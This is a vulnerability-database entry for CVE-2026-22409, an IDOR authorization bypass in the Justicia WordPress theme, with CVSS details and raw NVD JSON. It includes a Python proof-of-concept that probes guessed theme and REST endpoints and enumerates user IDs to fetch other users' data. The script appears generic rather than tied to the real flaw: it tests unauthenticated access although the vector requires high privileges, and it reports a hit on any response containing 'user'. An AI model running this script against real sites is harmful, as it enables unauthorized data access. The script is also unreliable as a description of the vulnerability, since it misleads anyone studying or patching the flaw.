Security Vulnerability Report
中文
CVE-2026-22409 CVSS 3.8 LOW

CVE-2026-22409

Published: 2026-01-22 17:16:34
Last Modified: 2026-04-28 19:36:35

Description

Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Justicia justicia allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Justicia: from n/a through <= 1.2.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mikado-Themes Justicia <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22409 PoC - IDOR Authorization Bypass in Justicia Theme # This PoC demonstrates the IDOR vulnerability in WordPress Justicia theme import requests import re TARGET_URL = "http://target-site.com/" WORDPRESS_API = f"{TARGET_URL}wp-json/wp/v2/" def test_idor_vulnerability(): """ Test for IDOR vulnerability in Justicia theme The theme may expose sensitive endpoints without proper authorization checks """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } # Common Justicia theme endpoints that might be vulnerable potential_endpoints = [ "wp-json/justicia/v1/settings", "wp-admin/admin-ajax.php?action=justicia_get_data", "?rest_route=/justicia/v1/user-data", "wp-json/wp/v2/users/", ] print("[*] Testing IDOR vulnerability in Justicia theme...") # Test with low-privilege user session (simulated) session = requests.Session() for endpoint in potential_endpoints: url = TARGET_URL if endpoint.startswith("http") else f"{TARGET_URL}{endpoint}" try: response = session.get(url, headers=headers, timeout=10) # Check if endpoint is accessible without proper authorization if response.status_code == 200: # Look for sensitive data exposure if "id" in response.text.lower() or "user" in response.text.lower(): print(f"[+] Potential IDOR found at: {endpoint}") print(f" Status: {response.status_code}") print(f" Response preview: {response.text[:200]}...") elif response.status_code == 401: print(f"[-] Endpoint requires authentication: {endpoint}") elif response.status_code == 403: print(f"[*] Endpoint access forbidden: {endpoint}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") print("\n[*] IDOR testing complete.") print("[*] Note: This PoC is for educational purposes only.") def exploit_idor(): """ Attempt to exploit IDOR by manipulating object references """ print("\n[*] Attempting IDOR exploitation...") # Example: Accessing another user's data by changing ID parameter base_url = f"{TARGET_URL}wp-admin/admin.php?page=justicia" # Test different ID values for user_id in range(1, 10): params = { "action": "get_user_data", "user_id": user_id # Manipulated ID parameter } try: response = requests.get(base_url, params=params, timeout=10) if response.status_code == 200 and "user" in response.text.lower(): print(f"[!] Potential unauthorized data access for user_id={user_id}") except: pass if __name__ == "__main__": test_idor_vulnerability() # Uncomment to attempt exploitation # exploit_idor()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22409", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:33.917", "lastModified": "2026-04-28T19:36:35.363", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Justicia justicia allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Justicia: from n/a through <= 1.2."}, {"lang": "es", "value": "Vulnerabilidad de omisión de autorización a través de clave controlada por el usuario en Mikado-Themes Justicia justicia permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Justicia: desde n/d hasta &lt;= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/justicia/vulnerability/wordpress-justicia-theme-1-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}